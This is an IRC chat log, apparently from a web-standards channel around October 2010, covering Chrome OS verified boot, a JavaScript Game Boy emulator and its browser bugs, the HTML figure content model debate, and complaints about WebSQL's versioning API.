Dashiva, because maybe the user wants to install their own custom unsigned firmware and OS.

[13:38:02.0000] <AryehGregor>
I.e., it's to allow jailbreaking the device.

[13:38:03.0000] <Philip`>
The read-only firmware doesn't auto-update

[13:39:00.0000] <AryehGregor>
Well, no, but all it does is verify the read-write firmware.  That doesn't need much updating.

[13:39:01.0000] <Philip`>
Doesn't it have to have most of an OS in it, in order to re-download the rest of the system?

[13:39:02.0000] <AryehGregor>
(for all I know this has all been rewritten since Chrome OS launched, by the way, I haven't been following it closely)

[13:39:03.0000] <AryehGregor>
No, it instructs the user how to download and install a new OS copy via USB or something, IIRC.

[13:40:00.0000] <Philip`>
Oh, okay, that part's not very auto then

[13:40:01.0000] <AryehGregor>
No.

[13:40:02.0000] <Dashiva>
AryehGregor: That should be as simple as Google providing a read-write firmware that allows jailbreaking, shouldn't it?

[13:40:03.0000] <AryehGregor>
In principle that's avoidable.  Like keep a pristine OS copy on a separate partition, and make the read-only firmware decide which partition to expose to the read-write firmware.

[13:40:04.0000] <AryehGregor>
Dashiva, well, yes, but they wouldn't sign it, because then they can't guarantee your security.

[13:41:00.0000] <AryehGregor>
An attacker could just load that firmware and install their evil app.

[13:41:01.0000] <AryehGregor>
The signed firmware will not allow installing anything at all except web apps.

[13:41:02.0000] <Philip`>
What happens when someone steals Google's key?

[13:41:03.0000] <AryehGregor>
Then the entire scheme collapses, obviously.

[13:41:04.0000] <Dashiva>
Chrome OS allows any program to replace the firmware?

[13:42:00.0000] <AryehGregor>
Dashiva, no, but if you can install a program to begin with, you have illicit root access, so you can presumably also replace the firmware.

[13:42:01.0000] <variable>
Philip`, then chrome OS becomes as secure as any other peice of software ?

[13:42:02.0000] <AryehGregor>
Since programs can't normally be installed at all.  The entire root filesystem is signed by Google, every block, and probably other filesystems are mounted noexec.

[13:42:03.0000] <AryehGregor>
(and probably they've hacked the script interpreters to not run stuff in noexec filesystems)

[13:42:04.0000] <AryehGregor>
Or whatever.

[13:43:00.0000] <AryehGregor>
I don't know, go read the design docs.

[13:43:01.0000] <AryehGregor>
http://www.chromium.org/chromium-os

[13:43:02.0000] <AryehGregor>
http://www.chromium.org/chromium-os/chromiumos-design-docs

[13:43:03.0000] <AryehGregor>
http://www.chromium.org/chromium-os/chromiumos-design-docs/verified-boot

[13:48:00.0000] <AryehGregor>
"Avoiding replay/rollback attacks is non-trivial since the firmware can't guarantee the local clock is not changed."  Whee.

[13:48:01.0000] <AryehGregor>
Didn't think of that.

[13:52:00.0000] <Philip`>
CPUs should include an embedded GPS receiver to provide a secure accurate time source

[13:53:00.0000] <Dashiva>
What if you're indoors?

[13:54:00.0000] <Philip`>
Cut a hole in your ceiling

[13:55:00.0000] <Dashiva>
The attacker could cover the hole

[13:56:00.0000] <Philip`>
Then the CPU would self-destruct

[13:57:00.0000] <Philip`>
/me wonders if GPS satellites use good encryption, or whether an attacker could launch their own fleet of GPS satellites to trick receivers

[13:59:00.0000] <AryehGregor>
/me bets they use no encryptionl

[13:59:01.0000] <AryehGregor>
encryption.

[14:00:00.0000] <Dashiva>
It's military, of course there's no encryption

[14:00:01.0000] <AryehGregor>
Well, I guess they support the capability, right?  The US can turn on encryption so only military personnel get the full accuracy.

[14:00:02.0000] <AryehGregor>
But Clinton turned it off.  Or something.

[14:01:00.0000] <AryehGregor>
Oh, Chrome OS supposedly has a stable version next month?

[14:01:01.0000] <variable>
AryehGregor, there is a fuzz factor in GPS that is currently set to 0

[14:01:02.0000] <variable>
I'm not sure how the millitary gets accurate data when that is set to > 0

[14:03:00.0000] <AryehGregor>
They can do it somehow.

[14:03:01.0000] <AryehGregor>
Maybe they just get told what the fuzzing algorithm is, so they can reverse it.

[14:06:00.0000] <AryehGregor>
http://en.wikipedia.org/wiki/GPS_signals

[14:06:01.0000] <AryehGregor>
Apparently they emit two signals, a C/A-code and a P-code, and the P-code is encrypted.

[14:08:00.0000] <AryehGregor>
Oh, wait, I have to read longer.

[14:08:01.0000] <AryehGregor>
Yeah, well, anyway, it's complicated.

[14:09:00.0000] <AryehGregor>
But at least the military gets unspoofable (or hard-to-spoof) signals.

[15:38:00.0000] <heycam>
hi

[15:39:00.0000] <heycam>
anyone know if there's an html version of the ES5 spec anywhere?

[15:41:00.0000] <Lachy>
heycam, sadly, I don't think so

[15:42:00.0000] <heycam>
ok

[15:42:01.0000] <heycam>
good to see you Lachy and everyone else, after a long break from here!

[15:42:02.0000] <Lachy>
where have you been?

[15:43:00.0000] <heycam>
i took some time off to finish my thesis

[15:43:01.0000] <heycam>
finished it is not, but it's just a matter of writing now

[15:43:02.0000] <heycam>
on weekends and after work and so...

[15:43:03.0000] <heycam>
:)

[15:43:04.0000] <variable>
heycam, thesis on what topic?

[15:44:00.0000] <heycam>
variable, "adaptive diagrams". ones that can change their presentation according to where/how/to whom they're being presented.

[15:44:01.0000] <heycam>
worked on an authoring tool for such diagrams, did some minimal user testing

[15:45:00.0000] <variable>
cool

[15:45:01.0000] <heycam>
yeah it was sometimes enjoyable :)

[15:48:00.0000] <Philip`>
heycam: http://sideshowbarker.github.com/es5-spec/ ?

[15:48:01.0000] <Philip`>
though I think MikeSmith didn't want it advertised too widely yet

[15:49:00.0000] <heycam>
Philip`, excellent. and that's complete is it?

[15:49:01.0000] <heycam>
although the picture of the smirking planet is disturbing

[15:49:02.0000] <Philip`>
"it does include the full text of the spec"

[15:50:00.0000] <heycam>
good good

[15:56:00.0000] <AryehGregor>
"Life from fire"?


2010-10-04
[17:34:00.0000] <AryehGregor>
Okay, hg's response to a config file format error seems to be a backtrace.

[17:35:00.0000] <AryehGregor>
Seriously.

[17:35:01.0000] <AryehGregor>
How can this possibly be considered acceptable in real software?

[18:08:00.0000] <AryehGregor>
Wow, people had \

[18:08:01.0000] <AryehGregor>
Wow, people had fun filing bugs the day before the deadline.

[18:09:00.0000] <AryehGregor>
Especially Microsoft.

[18:19:00.0000] <variable>
AryehGregor, bugs for what?

[18:19:01.0000] <AryehGregor>
http://w3.org/Bugs/Public

[18:19:02.0000] <AryehGregor>
Spec bugs.

[18:19:03.0000] <variable>
ah

[00:50:00.0000] <grantg>
What's with the data property of an ImageData Object returned from createImageData or getImageData being read-only?

[00:50:01.0000] <grantg>
All the browsers except IE9 allow you to write (and should for raw display-out capabilities).

[00:51:00.0000] <grantg>
This is blocking my js gameboy color from using the canvas object for display out.

[00:51:01.0000] <grantg>
It has to fall back to drawing via BMP images created by data uris

[00:51:02.0000] <grantg>
site: http://grantgalitz.org/gameboy/

[00:52:00.0000] <grantg>
The each value inside the CanvasPixelArray object should be able to be written to

[00:53:00.0000] <grantg>
But IE9 is the browser that disagrees. WTF?

[00:53:01.0000] <annevk>
that's just a bug in IE9 then

[00:53:02.0000] <annevk>
data is marked readonly because you cannot write to data, but you can write to the object it returns

[00:53:03.0000] <grantg>
Yeah, you shouldn't be able to alter the array count / add / delete the indices, and they should have to fall between 0 and 255

[00:54:00.0000] <grantg>
write with restrictions. ;)

[00:54:01.0000] <grantg>
annek: ok

[00:54:02.0000] <grantg>
Then the IE9 team read that wrong. :P

[00:55:00.0000] <annevk>
there's a whole lot of things that work that way

[00:55:01.0000] <annevk>
so that'd be scary

[00:55:02.0000] <grantg>
Since there's "limited writing" to the indices.

[00:55:03.0000] <annevk>
but maybe they don't do it consistently wrong

[00:55:04.0000] <grantg>
IE9 throws a read-only error on setting an indice.

[00:56:00.0000] <grantg>
Even though the value to write is valid and so is the indice.

[00:56:01.0000] <grantg>
wird

[00:56:02.0000] <grantg>
*weird

[00:57:00.0000] <grantg>
Unless my emu has a hidden bug that's only triggering a fault in IE9. :P

[00:57:01.0000] <grantg>
The emu actually works btw.

[00:57:02.0000] <grantg>
At least most roms do.

[00:57:03.0000] <grantg>
Some bugs still. :(

[00:58:00.0000] <grantg>
The JS N64 emu is even worse.

[00:58:01.0000] <grantg>
Which is why it isn't live yet.

[00:58:02.0000] <grantg>
It has tons of issues with WebG.> :(

[00:58:03.0000] <grantg>
*WebGL

[01:00:00.0000] <annevk>
N64? that'd be great

[01:00:01.0000] <grantg>
annevk: ARM emulation for the GBA is coming up shortly (before the N64 emu).

[01:00:02.0000] <grantg>
At least ARM has documentation. :P

[01:01:00.0000] <grantg>
*more than the GBC :P

[01:01:01.0000] <grantg>
yeah

[01:01:02.0000] <grantg>
Almost all the N64 game roms crash

[01:01:03.0000] <grantg>
some exceptions though

[01:01:04.0000] <grantg>
Mario Kart & Diddy kong racing

[01:02:00.0000] <grantg>
Though WebGL matrices are way off on them.

[01:02:01.0000] <grantg>
And a buggy Firefox 4 beta 7 pre isn't making life any easier.

[01:04:00.0000] <grantg>
Though the documentation on the reality chip for the n64 is sometimes hard to come by, just like the gameboy's cpu docs.

[01:04:01.0000] <grantg>
Damn Nintendo changing the Zilog Z80 CPU around.

[01:06:00.0000] <grantg>
/me almost has kirby 64 running on the js n64 emu at least.

[01:08:00.0000] <grantg>
Though I need to work on the GBC emu some more

[01:08:01.0000] <grantg>
Pokemon Crystal badly fucks up after the intro

[01:08:02.0000] <grantg>
And the clock cycle timing isn't right yet.

[01:09:00.0000] <grantg>
Though Pokemon Yellow seems to run perfectly. :P

[01:09:01.0000] <grantg>
color and all

[01:09:02.0000] <grantg>
except sound

[01:09:03.0000] <grantg>
Sound is fucked up on my part.

[01:09:04.0000] <grantg>
Still not ready on sound.

[01:10:00.0000] <grantg>
annevk: Works in IE8 at 1fps. ;)

[01:10:01.0000] <grantg>
(IE 8, not 9)

[01:10:02.0000] <grantg>
IE9 works at 5 fps

[01:12:00.0000] <grantg>
annevk: When is chrome going to fix the memory leak with assigning long arrays onto a canvas context?

[01:12:01.0000] <grantg>
Just seems like a bad security issue

[01:12:02.0000] <grantg>
As well as data uri'd images.

[01:13:00.0000] <grantg>
google chrome leaks a lot of shit and runs systems of of memory accidentally when running my emu

[01:13:01.0000] <grantg>
Firefox, opera, ie don't have this prob

[01:14:00.0000] <annevk>
grantg, better ask someone from Google :)

[01:14:01.0000] <grantg>
heh

[01:14:02.0000] <grantg>
Lots of rendering glitches in Opera & chrome

[01:15:00.0000] <grantg>
Opera wins overall

[01:15:01.0000] <annevk>
but euh, keep up the good work; I love playing games in the browser

[01:15:02.0000] <grantg>
Try to visit my emu in Opera and you'll be horrified.

[01:15:03.0000] <annevk>
oh, if you find bugs in Opera please file them at bugs.opera.com/wizard

[01:15:04.0000] <grantg>
I have

[01:15:05.0000] <annevk>
cool

[01:15:06.0000] <grantg>
The opera dev team has ignored them for 6 months at least

[01:15:07.0000] <annevk>
oh, let me poke them for you

[01:16:00.0000] <annevk>
can you /msg me your email or the bug IDs?

[01:16:01.0000] <grantg>
Box-shadow is *trashed* c o m p l e t e l y. Did I say completely trashed. YES.

[01:16:02.0000] <grantg>
annevk: grantgalitz⊙gc

[01:16:03.0000] <grantg>
Should be in the db

[01:16:04.0000] <annevk>
should definitely make sure games work in our browser

[01:16:05.0000] <annevk>
great

[01:17:00.0000] <grantg>
And SVG rendering is fucked up when used in css backgrounds in Opera whena doc is scrolling

[01:17:01.0000] <grantg>
Not to mention the opacity bug where the browser's rendering engine incorrectly stacks the virtual buffers wrong.

[01:18:00.0000] <grantg>
So UI elements like scrollbars and buttons appear behind the opacity-given element when in the element.

[01:19:00.0000] <grantg>
Opera gets its logic right, but not the rendering logic right.

[01:19:01.0000] <grantg>
annevk: Do they have my bugs, they should be there.

[01:20:00.0000] <grantg>
If you need me to re-fill out the reports, ok.

[01:21:00.0000] <grantg>
Opera's rendering is buggy on all OSes. :(

[01:21:01.0000] <annevk>
there's some weird way we store bugs from external reporters and I forgot how to search that

[01:21:02.0000] <grantg>
hmm

[01:21:03.0000] <grantg>
Should I double report?

[01:22:00.0000] <annevk>
if you have the bug IDs that'd make it easier for me

[01:22:01.0000] <grantg>
Not the IDs.

[01:23:00.0000] <grantg>
I haven't been to their site in awhile, nor have I copied down any #s.

[01:24:00.0000] <grantg>
/me needs to go soon.

[01:25:00.0000] <annevk>
I found one bug

[01:26:00.0000] <grantg>
Heh, found a GBC rom that shows off Mode 7. lol @ crude 3D on the gameboy.

[01:26:01.0000] <grantg>
annevk: It might be listed under other emails too.

[01:27:00.0000] <grantg>
Like one of my half-dozen AOL accounts.

[01:27:01.0000] <grantg>
yes, AOL. :(

[01:27:02.0000] <annevk>
heh, do they have something in common?

[01:27:03.0000] <annevk>
would definitely be easier if you used just one address

[01:28:00.0000] <grantg>
I should just re-report the damn bugs.

[01:28:01.0000] <annevk>
that works too

[01:28:02.0000] <grantg>
It's easy to see them

[01:28:03.0000] <grantg>
At least half-dozen on the gameboy emu

[01:29:00.0000] <grantg>
Browse http://grantgalitz.org/gameboy/ and you'll eventually find some bugs.

[01:29:01.0000] <grantg>
These 'windows' are movable and resizable.

[01:29:02.0000] <grantg>
Moving them glitches out opera.

[01:30:00.0000] <grantg>
Clearly Opera bugs when you move them.

[01:31:00.0000] <annevk>
yeah

[01:31:01.0000] <annevk>
bah

[01:31:02.0000] <grantg>
lol

[01:31:03.0000] <grantg>
Trashed, right?

[01:33:00.0000] <grantg>
Do you need a rom

[01:33:01.0000] <grantg>
Remember, you can load any rom from any address

[01:33:02.0000] <grantg>
or you can load them in locally

[01:34:00.0000] <annevk>
I was wondering about samples

[01:34:01.0000] <annevk>
no presets?

[01:34:02.0000] <grantg>
Either through the File API or through Base64 copy+paste

[01:34:03.0000] <grantg>
?

[01:34:04.0000] <grantg>
You mean providing roms for you?

[01:34:05.0000] <annevk>
yeah, though I guess you'd violate some copyright then

[01:34:06.0000] <grantg>
I'd call that illegal or borderline illegal

[01:34:07.0000] <grantg>
like jsnes

[01:35:00.0000] <grantg>
I can give you any unlicensed rom though

[01:35:01.0000] <grantg>
http://grantgalitz.org/gameboy/romStorage/proxima.gb

[01:35:02.0000] <grantg>
copy+paste that address into the emu

[01:35:03.0000] <grantg>
or dl the rom and load it in from your comp

[01:37:00.0000] <annevk>
you need some kind of controls page

[01:37:01.0000] <grantg>
x is a

[01:37:02.0000] <grantg>
z is b

[01:37:03.0000] <grantg>
shift is select

[01:37:04.0000] <grantg>
enter/return is start

[01:37:05.0000] <grantg>
annevk: yeah

[01:38:00.0000] <grantg>
and the arrow keys are the arrow keys.

[01:39:00.0000] <grantg>
annevk: You can play most games even right before GBA came out

[01:39:01.0000] <grantg>
2001 GBC games work as good as 1998 GBC games

[01:40:00.0000] <grantg>
Like mario tennis

[01:40:01.0000] <grantg>
and Super Mario Bros Deluxe

[01:40:02.0000] <grantg>
and Pokemon Yellow / Red / Blue

[01:40:03.0000] <grantg>
And Microsof pinball

[01:40:04.0000] <grantg>
etc

[01:40:05.0000] <grantg>
*MicroSoft

[01:40:06.0000] <grantg>
and more...

[01:43:00.0000] <annevk>
box-shadow issue is already resolved btw

[01:43:01.0000] <grantg>
When?

[01:43:02.0000] <annevk>
will hopefully be in public builds soon

[01:44:00.0000] <grantg>
Thank god

[01:44:01.0000] <grantg>
It's been there since the 10.50 alphas

[01:45:00.0000] <grantg>
annevk: Notice when resizing the 'window' vertically very slowly the inside div doesn't resize as well?

[01:45:01.0000] <grantg>
Bug in opera. :P

[01:45:02.0000] <grantg>
very very weird position: absolute bug.

[01:46:00.0000] <grantg>
with inline-block

[01:46:01.0000] <grantg>
some weird logic

[01:46:02.0000] <grantg>
Like a check in opera is getting missed.

[01:47:00.0000] <grantg>
annevk: BTW, the site renders as application/xhtml+xml for browsers that send that mime type in the accept header.

[01:48:00.0000] <grantg>
So it will present itself as true XHTML to the browsers that support it.

[01:48:01.0000] <grantg>
:D

[01:48:02.0000] <annevk>
Hixie, http://www.emendapp.com/sites/www.whatwg.org

[01:49:00.0000] <grantg>
None of that broken fake-o-xhtml shit that 99% of the web does.

[01:50:00.0000] <annevk>
so that you can use inline SVG?

[01:50:01.0000] <grantg>
Correction, 99+%

[01:50:02.0000] <grantg>
:(

[01:51:00.0000] <grantg>
annevk: I don't use inline svg

[01:51:01.0000] <grantg>
Just as CSS backgrounds

[01:51:02.0000] <grantg>
As fallback when CSS3 gradients aren't supported

[01:51:03.0000] <zcorpan>
so that ie6-8 users will still be happy when your site is broken but ie9 users and users of other browsers will be unhappy?

[01:52:00.0000] <grantg>
IE8 gets MicroSoft's proprietary gradient filter

[01:52:01.0000] <grantg>
IE 6 & 7 cannot work with the emu

[01:52:02.0000] <grantg>
they suck and will not run it

[01:52:03.0000] <grantg>
brb

[02:03:00.0000] <annevk>
hg pull is crashing on me?

[02:03:01.0000] <annevk>
is this because I pushed to a different repository before or something?

[02:03:02.0000] <annevk>
gah

[02:08:00.0000] <jgraham>
annevk: No, you should be able to push and pull from different repos

[02:08:01.0000] <jgraham>
What error are you getting?

[02:09:00.0000] <annevk>
I think it's due to VPN

[02:09:01.0000] <annevk>
I disabled VPN and now things work

[02:09:02.0000] <annevk>
can I pull and push to two repositories by default btw?

[02:10:00.0000] <annevk>
so that I don't have to keep them in sync manually?

[02:10:01.0000] <annevk>
also

[02:10:02.0000] <annevk>
*summons* Ms2ger

[02:10:03.0000] <jgraham>
I don't think you can make hg pull and hg push always work with two different repositories

[02:10:04.0000] <jgraham>
at the same time

[02:12:00.0000] <annevk>
too bad

[02:16:00.0000] <jgraham>
/me wonders if Leif actually uses System 9

[02:18:00.0000] <zcorpan>
what's System 9?

[02:18:01.0000] <jgraham>
The Mac operating system from before OSX

[02:19:00.0000] <zcorpan>
ah

[02:44:00.0000] <grantg>
/me loads a compiled rom of unix made for gameboy z80 derived cpus and loads it into the js emu.

[02:45:00.0000] <grantg>
bliss

[02:45:01.0000] <grantg>
unix in js

[02:47:00.0000] <grantg>
/me loads http://grantgalitz.org/gameboy/romStorage/Unix%20(PD).gb into http://grantgalitz.org/gameboy/

[02:52:00.0000] <grantg_>
/me managed to "aw, Snap!" Google Chrome once more with the emu (WebKit is unstable and leaks a lot in the File API)

[02:53:00.0000] <grantg_>
*unstable in the file api

[03:03:00.0000] <grantg_>
annevk: When is the bug fix release coming out approx?

[03:03:01.0000] <grantg_>
This month or next?'

[03:03:02.0000] <grantg_>
Or "when we feel like it"?

[03:05:00.0000] <annevk>
Hopefully soon is the best I can do

[03:06:00.0000] <grantg_>
Yeah, this is the kind of bug where box-shadow should be disabled by default until it's fixed.

[03:07:00.0000] <grantg_>
breaks whenever the effect is altered (on /off) or moved around.

[03:08:00.0000] <grantg_>
I'm going to sleep

[03:08:01.0000] <grantg_>
nn

[03:16:00.0000] <hsivonen>
jgraham: does http://www.w3.org/html/wg/wiki/ChangeProposals/FigureInP#Details look sane to you?

[03:22:00.0000] <zcorpan>
hsivonen: table-row seems like an annoying style since it can't have a border in the separated table border model (which is the default)

[03:24:00.0000] <zcorpan>
hsivonen: you could say figure { border-collapse:collapse } in the ua style sheet but then that would affect descendant tables

[03:25:00.0000] <hsivonen>
zcorpan: would table-cell make more sense?

[03:26:00.0000] <hsivonen>
zcorpan: hmm. actually, it would not

[03:26:01.0000] <jgraham>
hsivonen: Why do you want it to be scoping?

[03:26:02.0000] <hsivonen>
zcorpan: what would you suggest for the default UA style sheet for figure and figcaption

[03:26:03.0000] <zcorpan>
hsivonen: display:block for both

[03:26:04.0000] <hsivonen>
zcorpan: OK

[03:27:00.0000] <hsivonen>
jgraham: to make <pre> as the figured element work

[03:27:01.0000] <hsivonen>
(and <table>)

[03:27:02.0000] <zcorpan>
we'd want the caption text to wrap to the width of the image, which display:table doesn't do

[03:28:00.0000] <zcorpan>
if we try hard enough to get it right, what we have accomplished is a headache for authors who will need more rules in their reset.css to make a default they can understand

[03:28:01.0000] <hsivonen>
zcorpan: ok

[03:29:00.0000] <hsivonen>
zcorpan: I removed the UA style sheet changes

[03:29:01.0000] <hsivonen>
jgraham: it's covered in the "Rationale" section :-)

[03:30:00.0000] <annevk>
allowing <pre> and <table> nested in <p> through <figure> is something I'm going to object to I think

[03:30:01.0000] <hsivonen>
annevk: why?

[03:30:02.0000] <annevk>
because that is the kind of authoring insanity I was hoping we would go away from

[03:31:00.0000] <annevk>
<table> does not work in <p>, but you can hack around that with <figure>, and it'll validate too

[03:31:01.0000] <hsivonen>
annevk: authors want to put tables inside paragraphs already. Why should we get in the way

[03:31:02.0000] <annevk>
because if this is the only way they can do that everyone will just end up getting confused

[03:31:03.0000] <hsivonen>
annevk: table not working in p is a flaw on the format. I would not hold hacking around flaws of the format against authors

[03:32:00.0000] <hsivonen>
s/on/of/

[03:32:01.0000] <annevk>
we should have fixed the flaw when that was still possible

[03:32:02.0000] <annevk>
adding special cases around the flaw instead of just accepting it as an inherent limitation seems misguided

[03:33:00.0000] <hsivonen>
annevk: you know how hard it is to fix a flaw like that. http://ln.hixie.ch/?start=1137799947&count=1

[03:34:00.0000] <hsivonen>
annevk: if we don't fix figure now, we'll get one of those blog posts 7 years from now

[03:34:01.0000] <annevk>
not at all

[03:34:02.0000] <hsivonen>
actually, it's worse than 7 years. Mozilla still hasn't shipped a release with Web-compatible comment parsing

[03:34:03.0000] <annevk>
http://hsivonen.iki.fi/last-html-quirk/ is the flaw

[03:35:00.0000] <annevk>
and we know we cannot fix it

[03:37:00.0000] <hsivonen>
annevk: what could I do to the Change Proposal draft to make you not object to it if it went to a poll?

[03:38:00.0000] <annevk>
I think the content model would have to remain transparent

[03:38:01.0000] <hsivonen>
annevk: my point is that <p><figure>, <p><table> and SGML comments are all things that were working nicely for authors before Hixie pushed a change on theoretical purity grounds

[03:38:02.0000] <hsivonen>
annevk: that's an edit I'm not willing to make at this point :-(

[03:39:00.0000] <annevk>
I'm fine with <p><figure> as long as <p><figure><table> is not allowed. I don't want weird content model rules.

[03:40:00.0000] <hsivonen>
annevk: transparent content models are weird rules for normal people (where normal people means people who don't hang out here)

[03:40:01.0000] <annevk>
Having certain elements be allowed as descendants sometimes and not work at all when you remove an element inbetween is just too magical

[03:40:02.0000] <hsivonen>
annevk: I claim that people think more in terms of parent-child than in terms of ancestor-descendant when it comes to content models

[03:41:00.0000] <jgraham>
I think transparent content models are always weird

[03:42:00.0000] <annevk>
I think people would find it very weird if they can suddenly nest <table> inside <p> through <figure> but not directly. If they'd even notice.

[03:42:01.0000] <annevk>
I think having <figure> on the same level as <p> and <pre> etc. therefore makes more sense, though I'd be ok with making it inline and not </p>-implying.

[03:44:00.0000] <annevk>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=10692#c9 -- I wonder how often I will have to keep explaining this to people

[03:48:00.0000] <zcorpan>
annevk: the suggestion in that bug is about the coersion rules, and browsers don't implement the coersion rules, so the html[xmlns] thing is a non-issue

[03:49:00.0000] <annevk>
that's just what the title says

[03:49:01.0000] <annevk>
he's actually asking for something else

[03:50:00.0000] <annevk>
e.g. "I don't necessarily care how this is done as long as the Javascript that is executed on the document, intended to find "xmlns:*" mappings, doesn't have to have two code paths depending on if the document is in HTML5-mode or XHTML5-mode."

[03:52:00.0000] <zcorpan>
might be worthwhile to point out in the bug then that changing the coersion rules does not affect javascript/dom in the browser

[03:52:01.0000] <annevk>
feel free

[04:05:00.0000] <jgraham>
Isn't Manu asking for the attribute to be put in the DOM in *both* the XMLNS NS and in no namespace?

[04:06:00.0000] <jgraham>
It sounds pretty insane, but like it would not break with a simple html[xmlns] selector

[04:07:00.0000] <annevk>
oh

[04:07:01.0000] <annevk>
that would be insane

[04:09:00.0000] <jgraham>
Well yeah, but you need a different example it would break, or some other argument that the insanity isn't worth the perceived value

[04:10:00.0000] <jgraham>
(to me it is obvious that adding that kind of complexity to support the usecase "people want to use features that were designed to not work in HTML" isn't a good idea) 

[04:11:00.0000] <jgraham>
Especially given the number of people involved, and there are alterntaives that are designed to work in HTML

[04:19:00.0000] <annevk>
thanks for pointing that out

[05:42:00.0000] <gsnedders>
Do reftests in Gecko work by getting a hash of the entire viewport, or does it depend upon window size?

[05:52:00.0000] <smaug____>
gsnedders: AFAIK reftest uses canvas 

[05:52:01.0000] <smaug____>
it paints two pages to canvas and compares them

[05:53:00.0000] <jgraham>
How big is the canvas?

[05:55:00.0000] <smaug____>
jgraham: seems like it takes the canvas size from the element which contains the web page

[05:55:01.0000] <smaug____>
so the size of iframe or so

[05:55:02.0000] <smaug____>
(I'm just reading the code...)

[05:57:00.0000] <gsnedders>
smaug____: okay

[05:59:00.0000] <smaug____>
The browser element (== iframe) has style="min-width: 800px; min-height: 1000px; max-width: 800px; max-height: 1000px"

[05:59:01.0000] <smaug____>
gsnedders: ^

[06:00:00.0000] <jgraham>
Aren't there tests that don't work in an iframe?

[06:00:01.0000] <jgraham>
I'm thinking of viewport0related CSS stuff

[06:02:00.0000] <smaug____>
jgraham: well, it is actually <xul:browser type="content-primary"> so the contents of it is the top level content page

[06:02:01.0000] <jgraham>
Ah

[07:00:00.0000] <hsivonen>
/me wonders if all the FOs raised in the first months of the HTML WG's existence have become moot and no longer tracked: http://dev.w3.org/html5/status/formal-objection-status.html

[07:46:00.0000] <zcorpan>
hsivonen: i thought that all FOs would be tracked and presented to the Director when the time comes, but i don't know how it works exactly

[07:46:01.0000] <hsivonen>
zcorpan: that's what I thought, too

[07:52:00.0000] <zcorpan>
hsivonen: i think Hixie meant css whitespace as in whitespace the actual style sheet, not what the white-space property thinks is white space in the document

[07:52:01.0000] <jgraham>
Oh more bugspam

[07:53:00.0000] <hsivonen>
zcorpan: oh. ok.

[07:53:01.0000] <hsivonen>
zcorpan: this stuff is confusing!

[07:55:00.0000] <zcorpan>
maybe it's possible to change css's definition of whitespace to exclude the form feed too, but i don't think the csswg are willing to do that (they didn't want to add u+000b as whitespace to match html5 back when html5 had that, which was in part why u+000b was removed from html5)

[07:56:00.0000] <zcorpan>
(the other reason was that u+000b wasn't consistently implemented as whitespace in browsers anyway)

[08:07:00.0000] <hsivonen>
zcorpan: consistently implemented on the parser layer, yes. Not consistently implemented throughout the engine.

[08:09:00.0000] <zcorpan>
hsivonen: iirc there was something with ie not always considering u+000b to be whitespace in the parser, but i forget the details

[08:20:00.0000] <hsivonen>
is this pre-LC component barred from accepting new bugs?

[08:28:00.0000] <hsivonen>
it would have been nice to disable bugmail during the mass update

[08:31:00.0000] <MikeSmith>
hsivonen: true

[08:31:01.0000] <MikeSmith>
/me does that now

[08:32:00.0000] <MikeSmith>
problem is that when I do disable it, I usually forget to turn it back on

[09:11:00.0000] <f1lt3r>
anyone know where I could find: "Robin Berjon"? (re: <device>)

[09:58:00.0000] <TabAtkins>
f1lt3r: Blog? Twitter? Email?

[10:00:00.0000] <Philip`>
Street address?

[10:29:00.0000] <mathrick>
hi guys

[10:29:01.0000] <mathrick>
may I ask how exactly the whole versioning mechanism came to be in WebSQL?

[10:29:02.0000] <mathrick>
because as far as I can see it's 1) completely broken 2) totally unsuitable for the single stating purpose, ie. ensuring that a known and supported schema version is being used

[10:30:00.0000] <TabAtkins>
gsnedders: As long as your initial guess is "sufficiently close", yeah, it'll terminate.

[10:31:00.0000] <mathrick>
http://pastebin.com/MUJTBXza

[10:31:01.0000] <mathrick>
my understanding of these snippets is that you can never successfully change the schema version unless you happen to guess the existing version exactly

[10:32:00.0000] <mathrick>
you can also never *read* the version, making it basically impossible to check if you know how to operate on the data safely

[10:57:00.0000] <AryehGregor>
Amusing: http://code.google.com/p/chromium/issues/detail?id=57816

[11:24:00.0000] <mathrick>
also, http://www.w3.org/TR/webdatabase talks about read/write mode a lot, but no method takes a parameter called "mode"

[11:24:01.0000] <mathrick>
in particular, transaction() / readTransaction() don't, and it's implied they should

[11:24:02.0000] <mathrick>
http://www.w3.org/TR/webdatabase/#dom-database-transaction

[11:44:00.0000] <gsnedders>
TabAtkins: Yeah, that's what I found looking online. So I concluded my working had gone wrong. :)

[11:45:00.0000] <gsnedders>
(I later found my mistake, and just made it to his English Language lecture on time)

[11:45:01.0000] <gsnedders>
s/his/my/

[11:45:02.0000] <gsnedders>
/me blatantly uses actions way too much

[11:52:00.0000] <gsnedders>
Hixie: http://barkavenueblog.blogspot.com/2009/04/tokyo-cat-cafe-big-business.html (via wilhelm)

[13:01:00.0000] <mikekelly>
hi fans

[13:01:01.0000] <mikekelly>
I came to ask about the PUT/DELETE removal from http://dev.w3.org/html5/spec/Overview.html#attr-fs-method

[13:01:02.0000] <mikekelly>
any word on that?

[14:13:00.0000] <othermaciej>
are any of the people who commented on the link relation thread planning to write up a proposal of the wiki-based approach? (AryehGregor? hober? TabAtkins?) I haven't seen a volunteer yet and if no one does it then the IANA approach will win by default, which would be unfortunate given the number of people advocating the microformats wiki instead

[14:13:01.0000] <TabAtkins>
othermaciej: What's the deadline?

[14:13:02.0000] <othermaciej>
October 27

[14:13:03.0000] <TabAtkins>
Yeah, I'll do it if no one else picks it up.

[14:18:00.0000] <hober>
I'll help with it, but I don't want to drive. :)

[14:19:00.0000] <hober>
tantek would be a good person to have help on that

[14:21:00.0000] <TabAtkins>
Yeah, that's what I was thinking too.

[14:36:00.0000] <mathrick>
okay, guys, WTF

[14:36:01.0000] <mathrick>
why does executeSql work async?

[14:36:02.0000] <mathrick>
is the fact the transaction callback is run asynchronously already not enough?

[14:37:00.0000] <mathrick>
I'm surprised that ResultSets can be accessed without involving callbacks somewhere

[14:47:00.0000] <Hixie>
mathrick: anything that might take more than zero time is async, otherwise the browser might lock up while the call is happening

[14:48:00.0000] <mathrick>
Hixie: then to be honest rows.length should also be async, as as the spec notes it might be expensive

[14:48:01.0000] <mikekelly>
hi Hixie 

[14:48:02.0000] <mathrick>
besides, there are already *Sync() variants, so the lockup is still possible

[14:48:03.0000] <mikekelly>
Hixie, did you get back to anyone on that missing PUT/DELETE thing?

[14:49:00.0000] <mathrick>
Hixie: and unrelated to async, I still think that the whole changeVersion() interface is horribly broken

[14:49:01.0000] <mathrick>
why does it not pass in the current DB version?

[14:49:02.0000] <mathrick>
you have no way to enumerate DBs, and no way to learn the current version

